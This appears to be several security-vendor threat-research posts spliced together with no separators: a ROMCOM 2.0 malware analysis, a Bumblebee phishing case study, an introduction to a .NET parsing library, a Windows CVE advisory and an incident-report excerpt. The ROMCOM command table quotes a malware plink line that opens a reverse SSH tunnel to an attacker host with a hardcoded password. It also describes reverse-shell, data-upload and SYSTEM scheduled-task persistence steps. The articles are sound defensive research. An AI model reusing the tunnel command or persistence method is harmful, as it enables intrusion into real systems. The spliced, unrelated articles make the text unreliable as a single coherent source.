Essentially, this particular execution structure results in the ROMCOM sample running as a service receiving commands via HTTP/ICMP requests to and from its C2 servers, before passing those commands on to the ROMCOM sample that was executed through rundll32.exe. The commands are executed, with the results passed back to the service-executed ROMCOM payload. Finally, the results are posted to the C2 server, either via an HTTP or ICMP request.
ROMCOM 2.0
It appears that ROMCOM is under active development, as we were able to discover a similar sample uploaded to VirusTotal (VT) on June 20, 2022, that was communicating to the same C2 server.
The original sample was dated April 10, 2022, while this sample had a file header timestamp of May 28, 2022, and was ~400 kb larger. It shared the same startWorker and ServiceMain exports; however, it also contained a third export denoted as startInet. It is important to note the increase in debug strings found within the sample, which could indicate that the sample was caught by antivirus software prior to development completion; this theory is further supported by the VT uploader ID (22b3c7b0) having uploaded millions of files in the past, which rules out any one individual uploading it themselves.
Within this version, ServiceMain will execute the ROMCOM 2.0 sample twice, initially executing the startInet export, and then proceeding to execute the startWorker export. However, rather than simply calling CreateProcessA like the original ROMCOM sample, the developers have placed a larger focus on using COM objects for execution.
Figure 26. Execution of startInet and startWorker exports.
Each process is spawned as a task on the system, using a variety of COM interfaces offered by the Task Scheduler. ROMCOM 2.0 will first get the tasks root folder by calling ITaskService->GetFolder. It then deletes any existing tasks with the same name as the task that will be created using ITaskFolder->DeleteTask.
Task Name
Export
task7
startInet
task6
startWorker
task1
startWorker – if not already running when startInet is executing
Table 3. Names of tasks registered through the Task Scheduler COM interfaces.
An empty task is created with ITaskService->NewTask, and the security principal is then modified using IPrincipal->put_Id to set the identifier as NT AUTHORITY\\SYSTEM, using IPrincipal->LogonType to set the logon type to TASK_LOGON_INTERACTIVE_TOKEN, and using IPrincipal->put_RunLevel to set the run level as TASK_RUNLEVEL_HIGHEST.
Figure 27. Task creation with SYSTEM privileges.
A delay of 0 seconds is set for the task, using IRegistrationTrigger->PutDelay, indicated by the string PT0S, resulting in the task executing immediately upon creation.
Figure 28. Creation of task trigger, with delay set to 0 seconds.
Finally, an action is set for the task, with the action path set to rundll32.exe and the argument set to C:\\Windows\\system32\\mskms.dll,ARGUMENT, where ARGUMENT is either startWorker or startInet, depending on the export passed.
Figure 29. Creation of task action, resulting in rundll32.exe executing mskms.dll.
Once registered, the task is triggered, which results in execution of the ROMCOM 2.0 main functionality. This follows the same structure as the original sample, with the startInet process reaching out to a hardcoded C2 server and passing any responses to the startWorker process to handle accordingly. The developers have also expanded on the list of handled commands, adding 10 more alongside the existing 10 commands. These include downloading payloads specifically designed to take single or multiple screenshots of a system, as well as extracting a list of all installed programs to send back to the C2 (see the SCREENSHOOTER string reference shown in Figure 30).
Figure 30. Downloading the described SCREENSHOOTER payload.
Command Value
Purpose
1
Return connected drive information
2
Return file listings for specified directory
3
Start up a reverse shell under the name winconhost.exe within the %TMP% folder
4
Upload data to C2 as ZIP file, using IShellDispatch to copy files
5
Download data and write to worker.txt in the %TMP% folder
6
Delete a specified file
7
Delete a specified directory
8
Spawn a process with PID Spoofing
9
Only handled by startInet, received from C2 server and instructs the process to sleep for a random amount of time
10
Get Process IDs of specific processes
12
Execute rundll32.exe %TMP%\\PhotoDirector.dll,startWorker single and upload %TMP%\\PhotoDirector.zip to C2 server (likely used to take a single screenshot)
Get list of installed software by querying SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall or SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall
18
Write received file SCREENSHOOTER to %TMP%\\PhotoDirector.dll
19
Create %TMP%\\BrowserData folder, and write received file to %TMP%\\BrowserData\\explorer.exe before executing
20
Write received file to and spawn %TMP%\\win_sshd.exe, described as FreeSSHd
21
References plink.exe -ssh -pw AeM8soequ@ooNg -R 9999:4444 poncho@CombinedResidency.org\n, however appears to only execute C:\\Program Files (x86)\\freeSSHd\\FreeSSHDService.exe
22
Terminate svcnet.exe, FreeSSHDService.exe, and plink.exe
Table 4. ROMCOM 2.0 supported commands.
Protections and Mitigations
We recommend leveraging the indicators of compromise (IoCs) below to identify any impacts to your organization.
Palo Alto Networks detects and prevents Cuba Ransomware and Tropical Scorpius activity in the following ways:
Indicators of compromise and associated TTPs can be found in the Tropical Scorpius ATOM.
If you think you may have been impacted or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:
North America Toll-Free: 866.486.4842 (866.4.UNIT42)
EMEA: +31.20.299.3130
APAC: +65.6983.8730
Japan: +81.50.1790.0200
If you have cyber insurance, you can request Unit 42 by name. You can also take preventative steps by requesting any of our cyber risk management services.
Conclusion
Tropical Scorpius remains an active threat. The group’s activity makes it clear that an approach to tradecraft using a hybrid of more nuanced tools focusing on low-level Windows internals for defense evasion and local privilege escalation can be highly effective during an intrusion.
Coupled with a splash of well-adopted and successful crimeware techniques, this presents unique challenges to defenders.
Unit 42 recommends that defenders have advanced logging capabilities deployed and configured properly such as Sysmon, Windows Command Line logging and PowerShell logging – ideally forwarding to a Security Information and Event Management tool (SIEM) to create queries and detection opportunities. Keep computer systems patched and up to date wherever possible to reduce attack surface related to exploitation techniques.
Deploy an XDR/EDR solution to perform in-memory inspection and detect process injection techniques. Perform threat hunting looking for signs of unusual behavior related to security product defense evasion, service accounts for lateral movement and domain administrator-related user behavior.
Among the threat actors distributing Bumblebee is Projector Libra. Also known as EXOTIC LILY, Projector Libra is a criminal group that uses file sharing services to distribute malware after direct email correspondence with a potential victim. Projector Libra has been reported as an initial access broker with ties to Conti ransomware.
This blog presents a case study from recent Bumblebee malware activity distributed through Projector Libra that led to Cobalt Strike. Information presented here should provide a clearer picture of the group’s tactics and help security professionals better defend their organizations against this threat.
Bumblebee’s predecessor first appeared as early as April 2020, when developers behind Trickbot released a new malware called BazarBackdoor. The loader component of this malware was dubbed BazarLoader, and BazarLoader was a notable part of our threat landscape throughout 2020 and 2021.
During the summer of 2021, BazarLoader reached peak distribution with at least three campaigns pushing the majority of samples. These campaigns/threat actors were TA551 (Shathak), TA578 (Contact Forms/Stolen Images Evidence) and a call center-assisted campaign nicknamed BazarCall.
BazarLoader remained active through February 2022, but no newly created samples have been discovered since then. Starting in March 2022, threat actors like Projector Libra who had been distributing BazarLoader switched to pushing a new malware family called Bumblebee. Security researchers dubbed this malware Bumblebee because it uses “bumblebee” in the user-agent string generated during post-infection HTTPS traffic.
Malware distribution patterns reveal Bumblebee continues where BazarLoader left off, which includes pushing follow-up malware like Cobalt Strike that can eventually lead to a ransomware infection.
If a potential victim responds to the initial email, Projector Libra sends a reply stating a separate email has been sent through a file sharing service to provide a file relevant to the discussion. The victim then receives an email generated by the file sharing service. These emails contain a link hosting malware disguised as a file discussed in the previous Projector Libra message.
Since 2022, files pushed by Projector Libra have been ISO images. These images are designed to infect a vulnerable Windows host. They contain a WIndows shortcut, and this shortcut is designed to run Bumblebee malware hidden in the same ISO.
In some cases, the ISO image contains a Windows shortcut (.LNK file) that runs a hidden DLL file for Bumblebee.
In other cases, the ISO image contains a Bumblebee DLL contained within a password-protected 7-Zip archive (.7Z file). In these cases, the LNK file runs a hidden copy of the 7-Zip standalone console to extract Bumblebee from its password-protected 7Z file.
In an Active Directory (AD) environment, an initial Bumblebee infection leads to Cobalt Strike. Attackers use Cobalt Strike to map the victim’s environment. If the results reveal a high-value target, attackers will attempt lateral movement and drop ransomware like Conti or Diavol.
Examples of Email Messages
The first event in our case study is an initial email sent by Projector Libra on May 5, 2022. It spoofs an employee named Andres from a regional gas company in the United States.
Figure 2 shows a screenshot of this initial email.
Figure 2. Email from Projector Libra to establish correspondence.
When a potential victim replied to the email shown above in Figure 2, Projector Libra responded with the email shown below in Figure 3. This response states that a document was sent through TransferXL in a separate email.
Figure 3. Response from Projector Libra after a potential victim replied to the initial email.
TransferXL is a legitimate file-sharing service with a free tier. It is one of many file sharing services with a free pricing category that are frequently abused by criminal groups like Projector Libra. These TransferXL URLs expire after one week, which helps conceal the malware from security researchers. Below, Figure 4 shows a TransferXL email from this case study sharing malware provided by Projector Libra.
Figure 4. Email generated by TransferXL sharing malware from Projector Libra.
Malware and Traffic From an Infection
Files shared through TransferXL are compressed and sent as ZIP archives. Figure 5 shows the TransferXL URL from this case study opened in a web browser and downloading malware provided by Projector Libra.
Figure 5. TransferXL URL sending malware provided by Projector Libra.
The recipient extracts an ISO file from the TransferXL ZIP archive. In most GUI-based desktop environments like Microsoft Windows, double-clicking an ISO file mounts it as a new drive. In Windows 10, the downloaded ISO will mount as a DVD drive, similar to DVD Drive E: in Figure 6.
Figure 6. Downloaded ISO malware mounted as DVD Drive E: in WIndows 10.
Shown above in Figure 6, the downloaded ISO file contains a Windows shortcut named Attachments.lnk. In Microsoft Windows, the .lnk file extension remains hidden, even if File Explorer is set to show file extensions.
Attachments.lnk executes a PowerShell command to run a copy of the 7-Zip standalone console file named 7za.exe. Above, Figure 6 displays the full PowerShell command from Attachments.lnk.
7za.exe extracts the Bumblebee malware DLL from a password-protected 7-Zip archive named archive.7z. Both 7za.exe and archive.7z are hidden but can be revealed if File Explorer is configured to show hidden files.
The extracted Bumblebee DLL file is saved to C:\ProgramData\19a.dll, as shown below in Figure 7. The Bumblebee DLL is executed using rundll32 and oxgdXPSGPw as the EntryPoint.
Figure 7. The extracted Bumblebee malware DLL file saved to disk.
Traffic generated by this infection is all HTTPS. Below, Figure 8 shows the TransferXL URL used for this infection filtered in Wireshark. After the ISO was mounted and Bumblebee was executed, we saw Bumblebee HTTPS C2 traffic on 54.38.139[.]20:443.
Figure 8. Traffic from the infection filtered in Wireshark.
Approximately 15 minutes after Bumblebee C2 traffic began, we saw Cobalt Strike activity using fuvataren[.]com on 45.153.243[.]142:443 as shown below in Figure 9.
Figure 9. Cobalt Strike traffic seen during the infection.
In our case example and lab tests, Bumblebee infections frequently led to Cobalt Strike activity. Palo Alto Networks Unit 42 has reported Cobalt Strike activity from Bumblebee infections in the following tweets from our @Unit42_Intel handle on Twitter:
If the targeted environment is high-value, we might see further activity and possible lateral movement. However, this case study did not provide a tempting target, and Cobalt Strike traffic suddenly ended after one hour and 11 minutes.
Conclusion
Bumblebee is currently distributed by Projector Libra and other threat actors that previously pushed BazarLoader. Projector Libra runs a sophisticated campaign to establish correspondence with a potential victim before sending its malware using file sharing services like TransferXL.
Malware from Projector Libra currently consists of ISO images containing Windows shortcuts and hidden files to install Bumblebee malware. Bumblebee is designed to infect Windows hosts. In an AD environment, this frequently leads to Cobalt Strike, which can in turn lead to a more serious ransomware infection.
Our case study illustrates how Bumblebee malware from Projector Libra is seen from a victim’s perspective, and it can help security professionals better understand this threat to protect their organizations.
Windows users can lower their risk from Bumblebee malware through spam filtering, proper system administration and ensuring their software is patched and up to date. Palo Alto Networks customers receive further protections from Bumblebee through Cortex XDR and our Next-Generation Firewall with WildFire and Threat Prevention subscriptions.
If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:
North America Toll-Free: 866.486.4842 (866.4.UNIT42)
EMEA: +31.20.299.3130
APAC: +65.6983.8730
Japan: +81.50.1790.0200
Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.
Indicators of Compromise
Malicious ZIP archive downloaded from link in TransferXL email:
SHA256 hash: 58b9a5202a3cc96e86e24cd3c4b797d2efbf7d6b52461eef89b045aa1ff6c6ae
File size: 1,002,214 bytes
File location: hxxps://www.transferxl[.]com/download/00jJFzX0NZqb7p?utm_source=downloadmail&utm_medium=e-mail
Note: The file was available until 2022-05-26, and after that date, it was automatically removed by the file sharing service.
In the past few years, a Python library for .NET file analysis has been developed internally at Palo Alto Networks. As the library is now stable, we decided it is mature enough to open source it and share it with the research community.
This blog post will serve as an introduction to the dotnetfile library. dotnetfile facilitates the extraction of vital information from .NET Portable Executable (PE) files. In addition to basic parsing, several advanced features are implemented by dotnetfile, which may help both automatic and manual analysis tasks. We also describe a new original fingerprinting technique called MemberRef Hash that is included in the library.
Those of you who wish to jump directly into the deep end are invited to review the code and the documentation.
.NET is a free open source software framework, primarily developed by Microsoft. .NET is a managed software framework, meaning that code execution is managed by a runtime component and the original code isn’t executed directly by the CPU. While most of the programming languages that are supported are high-level, .NET offers an interface to directly interact with the operating system. All of the above make .NET an excellent platform for software development. While there are many legitimate uses for such a platform, malware authors often take advantage of good software development resources, and the .NET platform is no exception.
The diagram below schematically represents the .NET compilation and execution process. A programming language supported by .NET gets compiled by an appropriate compiler into a platform-neutral Common Intermediate Language (CIL) bytecode. The CIL is essentially the .NET binary instruction set. In runtime, a platform-specific Common Language Runtime (CLR) component compiles the CIL into native code, such as X86 or X64 Assembly. Besides translating the CIL bytecode into native instructions, the CLR is also in charge of executing the .NET program in a managed manner, handling memory management, type verification and much more.
Figure 1. .NET compilation and execution process.
In terms of file format, the common .NET PE file differs from its native PE counterpart. The difference begins at the .NET data directory, also called the COR20 directory. The directory points to the CLR header, which in turn points to the .NET metadata header. These two headers hold global information about the executable. The .NET metadata header usually points to five streams:
#~ or #- – The metadata stream. #~ indicates that the data is optimized, while data under #- isn’t. This stream includes up to 56 different metadata tables.
#Strings – This stream is a heap of the system strings, such as the member names, the class names, the method names, etc.
#US – Contains user string literals.
#GUID – Holds GUIDs. For some executables, the GUID associated with the project can be found in this stream.
#Blob – This stream contains binary objects such as a binary array and also stores methods’ signatures in an encoded form.
Any other stream is not allowed by .NET. If another string is present, it might have been inserted by obfuscators and protectors as “junk” to break parsers.
Various metadata tables under #~ point to offsets into the CIL code. One such table is the "Method" metadata. Each entry in this table will point to the starting offset of the method it describes in the CIL code. The CIL code references information held in the streams. For instance, this would occur when the code makes use of a string from the user strings heap (#US).
Generally speaking, the overview is accurate, however, a disclaimer is appropriate. There are valid edge cases that divert from this “high-level” representation.
dotnetfile
The dotnetfile library was named after the legendary pefile library. The usage is also very similar. In fact, the main object – DotNetPE – inherits from pefile's PE object. The dotnetfile library is a pure Python library, meaning there is no need to compile anything or rely on third-party .NET executables. We hope that fellow researchers will find the library useful for automating their file analysis workflows as well as for speeding up the manual investigation of samples.
Fields and Structure Parsing
dotnetfile extracts almost any field and structure from the .NET PE file. Among the parsed information, one can find:
The CLR header.
The .NET metadata header.
Metadata tables under #~ – including methods, classes, members and plenty of other table entries.
System strings.
User strings.
.NET resources: Metadata and raw source are parsed out; the resources are not being deserialized at the time of writing.
ImplMap and ModuleRef: The Hidden Import Table
In the most common case, the import table of a .NET PE file will only have entries referencing mscoree.dll, the .NET runtime library. Furthermore, these entries won’t reveal much about the program’s functionality, as oftentimes the same closed set of imports will be present in the import table.
The ImplMap metadata table stores information about unmanaged methods that can be reached from managed code, while the ModuleRef table contains the respective module information. P/Invoke relies on this information. Had the sample planned to use Windows API, the declared API will be stored in these tables. It is worth noting that accessing Windows API, or any other native code, can be achieved by resolving the API in runtime. Hence, in such cases, the ImplMap table won't necessarily store the API information.
dotnetfile includes a few features that were developed in addition to the basic parsing ability that allows it to extract valuable information. We named this group of features "Advanced Features'' since they include logic and heuristics created by us. This logic conveys our own higher-level understanding of the .NET PE file and is not just straightforward parsing.
We believe that researchers can benefit from these features in a variety of tasks and applications.
MemberRef Hash
MemberRef hash is an innovative new fingerprinting technique specifically developed for .NET samples. Like any other fingerprinting technique, it may help us to group, cluster and detect samples.
To better understand the technique, we first need to have a deeper look into the MemberRef metadata table. The MemberRef table contains mostly .NET runtime constructs such as methods, properties, fields and so on. We have found that this table can't be easily obfuscated, meaning the info in this table can help us with grouping obfuscated samples.
The MemberRef hash is computed over the MemberRef table using the following process:
For each entry in the MemberRef table, the string that represents the member name is taken, assigned to NAME.
In addition, for each entry the table name of the corresponding class is taken, assigned to TABLE.
[This might not be clear at first, so let's dive into it. Each entry has a field called class that is an encoded index of one of five possible tables: TypeDef, TypeRef, ModuleRef, MethodDef and TypeSpec. This encoding is officially called MemberRefParent encoding. The lowest three bits represent the table ID, while the upper 13 bits represent the index in the remote table. For the MemberRef hash algorithm, the textual representation of the table ID is captured (such as TypeSpec). In order to keep it simple, only the table ID is being used. The extra step of using the actual information from the remote tables is not part of the algorithm because each one of those tables has its own unique data structures and data types. Furthermore, the current implementation is not too "tight" so it can be used to group samples.]
The textual representation of the table ID (TABLE) and the member name (NAME) are concatenated into TABLE.NAME.
All the entries from Step 3 are textually concatenated.
By default, the entries are used in the same order of appearance in the MemberRef table.
A flag to sort the entries by name is available, but it is unset by default.
The final MemberRef hash is a result of computing SHA256 over the string from Step 4.
The following diagram depicts the MemberRef hash computation process.
Figure 3. MemberRef hash computation.
Let’s review an in-the-wild example. The naked eye can tell that the two samples shown in Figure 4 are very similar. However, it gets trickier from an automation point of view.
Fortunately, these two samples share the same MemberRef hash. That means that all of the members under the MemberReftable had the same name and the same table ID in both of the samples. Furthermore, the entries appear in the same order.
Figure 4. Side-by-side view of samples sharing the same MemberRef hash.Figure 5. Underlying ordered entries for the MemberRef hash of the samples from Figure 4.
TypeRef Hash Reimplementation
TypeRef hash is a fingerprinting technique for .NET samples that was invented by GDATA. The idea is to compute a hash over all of the referenced .NET types. To some degree, TypeRef hash resembles imphash, but there are some key differences.
The dotnetfile library includes implementation of the TypeRef hash functionality with a few “tweaks” compared to GDATA’s original implementation.
The original TypeRef hash implementation uses the type’s name and the type’s namespace. Our version uses the ResolutionScope names instead of the Namespace names, as the former’s are always present.
Some .NET packers and protectors insert into the TypeRef metadata table types that reference each other. In other words, this means that a certain Type A is nested under Type B, and Type B is also nested under Type A. This obviously doesn’t make any sense. These kinds of types are “garbage” that has been artificially inserted in order to break parsers. Another side effect is that the names of these types can be easily randomized (as they are not real), resulting in a different TypeRef hash per sample. dotnetfile‘s implementation can skip such TypeRef entries, making the dotnetfile implementation more resilient against this class of samples. Figure 6 demonstrates a real-world example of TypeRef entries that reference each other.
Another type of “junk” TypeRef entries are entries that reference a nonexistent TypeRef entry. In Figure 7, we can observe a sample with a TypeRef entry that references the TypeRef entry at index 172, while the TypeRef table has only 170 entries. In addition, in this example, the Name and Namespace fields are nulled out. dotnetfile‘s implementation skips such entries.
Figure 6. TypeRef entries that reference each other; this is “junk” that has been inserted by a packer.Figure 7. Out-of-bound reference of a TypeRef entry.
Entry Point Discovery
.NET DLLs don't need to have a defined entry point, in contrast to native PE DLLs that always have the DllMain function. Without knowledge of the real entry point, attempting to execute a .NET DLL will likely fail. In order to perform dynamic analysis of these files and fully detonate them, the appropriate entry point method(s) must be invoked.
The dotnetfile library provides an interface to list probable entry points based on tried and true heuristics. These heuristics are not bulletproof but work pretty well.
Looking at the analysis hash below, only five possible entry points were listed. This methodology drastically narrows down the search space for the right entry point. Upon manual examination of these five methods, it turns out that the second method is the real entry point.
Figure 8. Entry point analysis of a .NET assembly.
Anti-Metadata
Packers and protectors often try to break parsing by employing various techniques. The dotnetfile library comes with logic to identify such anomalies in the .NET metadata structures. This collection of anomaly detection methods was named Anti-Metadata. The anomalies that the library detects include:
Fake .NET streams.
Abnormal number (more than one) of entries in the Module table and Assembly table.
Invalid string entries, often employed by ConfuserEx.
Extra bytes in the .NET metadata header, which is valid but unusual.
Invalid TypeRef entries.
Attempts to tamper with the data directories number in the PE header (OPTIONAL_HEADER.NumberOfRvaAndSizes), so it effectively hides the .NET data directory.
Self-referencing TypeRef entries – by examining the corresponding resolution scope.
This logic is still experimental but can point out anomalies in .NET PE samples, and it can be used as a feature for detection applications.
Conclusion
.NET is a widely used software development framework. Malware authors have adopted .NET, and this fact is reflected in the present threat landscape.
The dotnetfile library is a pure Python library that parses .NET PE files and extracts all sorts of useful information. Furthermore, dotnetfile provides higher-level logic on top of basic parsing functionality. We are proud to share it with the research community and we hope researchers will make use of it.
Microsoft introduced patches for several critical vulnerabilities in their April and May 2022 security updates, including the following vulnerabilities:
CVE-2022-26809: An unauthorized attacker can exploit this vulnerability by sending a specially crafted Remote Procedure Call (RPC) to remotely execute arbitrary code on the vulnerable device.
CVE-2022-26923: A low-privileged user can escalate privilege to a domain administrator in a default Active Directory environment with the “Active Directory Certificate Services” server role installed.
CVE-2022-26925: Unauthenticated attackers can remotely exploit and force domain controllers to authenticate them via the Windows NT LAN Manager (NTLM) security protocol.
We highly recommend that customers apply these security updates to address these issues.
The following versions of the Microsoft Windows OS are vulnerable to CVE-2022-26809:
Windows 7 for 32-bit systems Service Pack 1
Windows 7 for x64-based systems Service Pack 1
Windows 8.1 for 32-bit systems
Windows RT 8.1
Windows 8.1 for x64-based systems
Windows 10 Version 20H2 for ARM64-based systems
Windows 10 Version 1909 for ARM64-based systems
Windows 10 Version 1809 for x64-based systems
Windows 10 for 32-bit systems
Windows 10 Version 21H2 for x64-based systems
Windows 10 Version 21H2 for ARM64-based systems
Windows 10 Version 21H2 for 32-bit systems
Windows 10 Version 1809 for 32-bit systems
Windows 10 Version 21H1 for 32-bit systems
Windows 10 Version 21H1 for ARM64-based systems
Windows 10 Version 21H1 for x64-based systems
Windows 10 Version 20H2 for 32-bit systems
Windows 10 Version 20H2 for x64-based systems
Windows 10 Version 1607 for x64-based systems
Windows 10 Version 1607 for 32-bit systems
Windows 10 for x64-based systems
Windows 10 Version 1909 for x64-based systems
Windows 10 Version 1909 for 32-bit systems
Windows 10 Version 1809 for ARM64-based systems
Windows 11 for ARM64-based systems
Windows 11 for x64-based systems
Windows Server 2008 R2 for x64-based systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based systems Service Pack 1
Windows Server 2008 for x64-based systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based systems Service Pack 2
Windows Server 2008 for 32-bit systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit systems Service Pack 2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server, version 20H2 (Server Core Installation)
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows Server 2022 (Server Core installation)
Windows Server 2022
CVE-2022-26923
The following versions of the Microsoft Windows OS are vulnerable to CVE-2022-26923:
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows RT 8.1
Windows 8.1 for x64-based systems
Windows 8.1 for 32-bit systems
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows 10 Version 1607 for x64-based systems
Windows 10 Version 1607 for 32-bit systems
Windows 10 for x64-based systems
Windows 10 for 32-bit systems
Windows 10 Version 21H2 for x64-based systems
Windows 10 Version 21H2 for ARM64-based systems
Windows 10 Version 21H2 for 32-bit systems
Windows 11 for ARM64-based systems
Windows 11 for x64-based systems
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based systems
Windows 10 Version 20H2 for 32-bit systems
Windows 10 Version 20H2 for x64-based systems
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows 10 Version 21H1 for 32-bit systems
Windows 10 Version 21H1 for ARM64-based systems
Windows 10 Version 21H1 for x64-based systems
Windows 10 Version 1909 for ARM64-based systems
Windows 10 Version 1909 for x64-based systems
Windows 10 Version 1909 for 32-bit systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based systems
Windows 10 Version 1809 for x64-based systems
Windows 10 Version 1809 for 32-bit systems
CVE-2022-26925
The following versions of the Microsoft Windows OS are vulnerable to CVE-2022-26925:
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based systems Service Pack 1
Windows Server 2008 for x64-based systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based systems Service Pack 2
Windows Server 2008 for 32-bit systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit systems Service Pack 2
Windows RT 8.1
Windows 8.1 for x64-based systems
Windows 8.1 for 32-bit systems
Windows 7 for x64-based systems Service Pack 1
Windows 7 for 32-bit systems Service Pack 1
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows 10 Version 1607 for x64-based systems
Windows 10 Version 1607 for 32-bit systems
Windows 10 for x64-based systems
Windows 10 for 32-bit systems
Windows 10 Version 21H2 for x64-based systems
Windows 10 Version 21H2 for ARM64-based systems
Windows 10 Version 21H2 for 32-bit systems
Windows 11 for ARM64-based systems
Windows 11 for x64-based systems
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based systems
Windows 10 Version 20H2 for 32-bit systems
Windows 10 Version 20H2 for x64-based systems
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows 10 Version 21H1 for 32-bit systems
Windows 10 Version 21H1 for ARM64-based systems
Windows 10 Version 21H1 for x64-based systems
Windows 10 Version 1909 for ARM64-based systems
Windows 10 Version 1909 for x64-based systems
Windows 10 Version 1909 for 32-bit systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based systems
Windows 10 Version 1809 for x64-based systems
Windows 10 Version 1809 for 32-bit systems
Mitigations for CVE-2022-26809, CVE-2022-26923, CVE-2022-26925
Microsoft released patches for CVE-2022-26809, CVE-2022-26923 and CVE-2022-26925. All three vulnerabilities and exploit details are publicly available, and CVE-2022-26925 was detected as being exploited in the wild. We strongly recommend patching them as soon as possible.
In Microsoft’s April security update, there was a severe RPC vulnerability that could lead to remote code execution. This would provide an adversary with a remote attack surface, allowing them to attack the Windows SMB service remotely and execute code. This threat is not limited to Windows SMB service and may affect other services using the vulnerable RPC component.
On May 1, 2022, we observed a public proof of concept (PoC) published on GitHub. The researcher conducted analysis of CVE-2022-26809 and created the PoC to trigger the vulnerable function OSF_SCALL::GetCoalescedBuffer. The PoC is created based on an RPC sample code, Hello, from Microsoft. Since all interfaces for programs using RPC must be defined in Microsoft Interface Definition Language (MIDL) and compiled with the MIDL compiler, the researcher added a new pipe type and several functions in the IDL file. This is because the server side needs to use pipe in order to trigger the vulnerability. The related modifications are shown in Figure 1:
Figure 1. IDL file modification.
The PoC client utilizes impacket.dcerpc.v5.rpcrt to send the data. Additionally, the researcher modified the packet handling logic of the rpcrt library. Although the PoC only works on a customized RPC server and a successful exploitation of this vulnerability requires specific settings on the server side, it could be modified by an attacker to construct a feasible exploit for the default Windows service. We strongly recommend patching CVE-2022-26809 as soon as possible.
CVE-2022-26923 – Active Directory Domain Service Privilege Escalation Vulnerability
This vulnerability allows a low-privileged user to escalate privileges to a domain administrator in a default Active Directory environment with the “Active Directory Certificate Services” server role installed. It is a logic issue that gets a valid certificate by using a fake domain controller, dNSHostName, and then gets the domain controller privileges by authenticating the certificate to the domain controller. Microsoft fixed CVE-2022-26923 in May’s security update but the vulnerability and exploit details are publicly available. We strongly recommend patching it as soon as possible.
CVE-2022-26925 – Windows LSA Spoofing Vulnerability
An unauthenticated attacker could call a method on the LSARPC interface and coerce the domain controller to authenticate the attacker using NTLM. Once the attacker gets the NTLM hash by the NTLM relay attack, the attacker can further use the leaked main controller NTLM hash to attack the system. CVE-2022-26925 was detected as being exploited in the wild and is publicly available. Microsoft fixed this vulnerability in May’s security update. We strongly recommend patching it as soon as possible.
Conclusion
CVE-2022-26809 is still being actively monitored due to its potential to be exploited in widespread attacks. Given the information currently available, this vulnerability may have a high impact in the future. RPC is widely used by a wide variety of Windows and Windows Server versions. Besides that, the vulnerable rpcrt4.dll is not only used by Microsoft services but also by other applications. CVE-2022-26923 and CVE-2022-26925 exploits are publicly available, and it’s only a matter of time until those vulnerabilities are abused by attackers. Users are encouraged to take all necessary steps to ensure they are protected against these vulnerabilities.
The Palo Alto Networks Next-Generation Firewall with a Threat Prevention subscription can block the attack traffic related to these vulnerabilities.
CVE-2022-26809 Coverage: Threat ID 92490 (Application and Threat content update 8557)
CVE-2022-26923 Coverage: Threat ID 92548 (Application and Threat content update 8568)
CVE-2022-26925 Coverage: Threat ID 92549 (Application and Threat content update 8568)
Palo Alto Networks Cortex customers are protected from CVE-2022-26923 and CVE-2022-26925.
Software vulnerabilities remain a key avenue of initial access for attackers according to the 2022 Unit 42 Incident Response Report. While this underscores the need for organizations to operate with a well-defined patch management strategy, we’ve observed that attackers are increasingly quick to exploit high-profile zero-day vulnerabilities, further increasing the time pressure on organizations when a new vulnerability is disclosed.
The 2022 Unit 42 Incident Response Report analyzes more than 600 incident response cases conducted over the past year alongside in-depth interviews with our incident response experts to identify key patterns and trends that can be used by defenders to prioritize where and how to deploy protections.
Here, we share key insights from the report, including statistics on suspected means of initial access among our cases, which software vulnerabilities attackers exploited most and our observations of how attacker behavior around zero-day vulnerabilities is shifting. For more in-depth analysis, download the full report.
Software vulnerabilities remain one of the top observed access vectors for threat actors. We found that they were the suspected initial access vector of intrusion in 31% of our cases, second only to phishing at 37%.
Figure 1. Suspected means of initial access according to Unit 42 incident response case data.
Vulnerabilities Most Commonly Exploited for Initial Access
In cases where responders positively identified the vulnerability exploited by the threat actor, over 87% of them fell into one of six CVE categories, as shown in Figure 2.
Figure 2. Exploited vulnerabilities in Unit 42 incident response cases.
Note that top categories include Log4j and Zoho ManageEngine ADSelfService Plus, both of which were high-profile zero-day vulnerabilities disclosed toward the end of 2021.
Anytime a new vulnerability is publicized, our threat intelligence team observes widespread scanning for vulnerable systems. Our security consultants say they’re also seeing threat actors – ranging from the sophisticated to the script kiddies – moving quickly to take advantage of publicly available PoCs to attempt exploits.
Time to Patch Is Getting Shorter
While some threat actors continue to rely on older, unpatched vulnerabilities, we’re increasingly seeing that the time from vulnerability to exploit is getting shorter. In fact, it can practically coincide with the reveal if the vulnerabilities themselves and the access that can be achieved by exploiting them are significant enough. For example, Palo Alto Networks released a Threat Prevention signature for the F5 BIG-IP Authentication Bypass Vulnerability (CVE-2022-1388), and within just 10 hours, the signature triggered 2,552 times due to vulnerability scanning and active exploitation attempts.
